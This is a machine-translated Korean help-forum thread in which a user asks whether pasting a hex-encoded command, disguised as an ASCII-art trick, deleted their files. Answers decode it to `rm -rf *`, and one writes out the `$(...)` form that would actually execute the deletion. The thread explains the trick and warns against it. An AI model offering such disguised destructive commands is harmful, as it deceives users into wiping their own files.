속아서 명령을 복사해서 붙여넣는 행위를 했는데요, 상처를 입었나요?

속아서 명령을 복사해서 붙여넣는 행위를 했는데요, 상처를 입었나요?

온라인 포럼에서 누군가(저와 함께 트롤링하는 것 같습니다) 이것을 터미널에 입력하라고 말했습니다:

(echo 726d202d7266202a | xxd -r -p)

어떤 것이 아픈지 모르기 때문에 이것을 넣지 마십시오.

터미널에 다음이 반환되었습니다.

rm -rf *ryanmcclure@RyansLinuxBox:~$

삭제된 내용이 있나요? rm -rf *모든 것을 삭제하는 끔찍한 명령이 있다고 들었기 때문에 궁금합니다 .

편집: 이 글을 읽는 사람이라면 누구나 알 수 있도록 터미널에서 ASCII 아트 애니메이션을 보려면 이것을 입력하라는 지시를 받았습니다. 이것은 나를 속이는 데 사용된 속임수라는 점을 주의하십시오.

답변1

아니요, 아무것도 하지 않았습니다. 단지 아슬아슬한 상황일 뿐입니다.

괄호는 bash(쉘)에게 하위 쉘(일종의 의미가 없음)의 내용을 실행하도록 지시합니다. 실행된 명령은 echo 726d202d7266202a | xxd -r -p"rm -rf *"라는 텍스트를 화면에 출력하는 것 외에는 아무 작업도 수행하지 않습니다. 만약 그랬다면달리다해당 텍스트를 명령으로 사용하면 — 단순히 텍스트를 화면에 출력하는 대신 — 문제가 발생할 수 있습니다. 어쨌든, 이것은 당신이 이해하지 못하는 인터넷 명령을 실행하지 않는 무료 레슨이 되도록 하십시오.

답변2

"사람에게 물고기를 주는 것보다 물고기 잡는 법을 가르치는 것이 낫다"라는 정신으로 터미널에 입력하는 것이 좋습니다.man xxd(그렇습니다. 저는 터미널에 무언가를 입력하라고 말하는 또 다른 사람입니다... 하지만 이 man명령은 안전하다고 인식해야 합니다.)

에 익숙하지 않다면 echo,너도 확인해 봐야 해. 기본적으로 나열된 명령은 문자열을 표준 출력에 "반향"합니다.

그러나 파이프는 |해당 표준 출력을 명령의 표준 입력으로 전달합니다 xxd. 이 경우 16진수 문자열을 일반 형식의 입력으로 변환하도록 설정됩니다.

따라서 짧은 대답은 다음과 같습니다. 아니요, 아무것도 삭제하지 않았습니다. 하지만 그 소리가 rm -rf *화면에 울려서 약간의 소름이 돋았을 것입니다. :-)

답변3

$(echo 726d202d7266202a | xxd -r -p)공격자는 아마도 사용자를 쉘에 붙여넣도록 의도했을 것입니다 . xxd 726d202d7266202a를 로 디코딩한 rm -rf *다음 실행됩니다.

답변4

누군가가 귀하의 파일 시스템을 괴롭히는 것이 걱정된다면 chroot귀하의 처분에 따라야 합니다. chroot /random/directory그런 다음 도대체 명령을 실행하십시오.

관련 정보